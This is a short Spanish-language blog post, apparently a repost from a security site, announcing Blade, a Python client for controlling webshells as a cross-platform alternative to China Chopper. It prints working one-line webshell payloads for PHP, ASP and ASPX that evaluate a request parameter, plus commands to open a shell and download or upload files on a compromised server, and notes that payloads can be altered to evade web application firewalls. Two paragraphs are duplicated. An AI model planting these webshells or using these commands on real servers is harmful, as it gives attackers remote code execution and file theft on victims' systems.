Blade: nueva webshell ASP, PHP y JSP
Blade es una herramienta de conexión a webshell basado en consola, actualmente en fase de desarrollo que pretende ser una alternativa al chino Chooper.
¿Por qué? Pues porque Chooper es un cliente Webshell genial, que soporta muchos scripts del lado del servidor, pero sólo puede trabajar en Windows. De ahí la motivación de crear otro "Chooper" pero multiplataforma: compatible con Windows, Linux y Mac OS X.
Blade se basa en Python por lo que permite a los usuarios modificar los payloads de conexión del Webshell de manera que puede evadir algunos WAF que Chooper no puede. Sus funciones principales son:
Fuente: HackPlayers
¿Por qué? Pues porque Chooper es un cliente Webshell genial, que soporta muchos scripts del lado del servidor, pero sólo puede trabajar en Windows. De ahí la motivación de crear otro "Chooper" pero multiplataforma: compatible con Windows, Linux y Mac OS X.
Blade se basa en Python por lo que permite a los usuarios modificar los payloads de conexión del Webshell de manera que puede evadir algunos WAF que Chooper no puede. Sus funciones principales son:
- Administra un servidor web con una sóla línea de código:
- Compatible con PHP, ASP, ASPX y JSP
- Proporciona una consola de terminal
- Gestión de archivos y base de datos
PHP: <?php @eval($_REQUEST["cmd"]); ?%>
ASP: <%eval request("cmd")%>
ASPX: <%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
Obtener una shell:python blade.py -u http: //localhost/shell.php -s php -p cmd
--shell
Descargar un archivo:python blade.py -u http: //localhost/shell.php -s php -p cmd
--pull REMOTE_PATH local_path
Subir un archivo:python blade.py -u http: //localhost/shell.php -s php -p cmd
--push local_path REMOTE_PATH
Actualmente sólo está desarrollado el soporte PHP y ASP y todavía no está implementada completamente la gestión de base de datos pero, si continúa su desarrollo, puede resultar un Webshell más que interesante:Fuente: HackPlayers
0 Comments:
Publicar un comentario
Gracias por dejar un comentario en Segu-Info.
Gracias por comentar!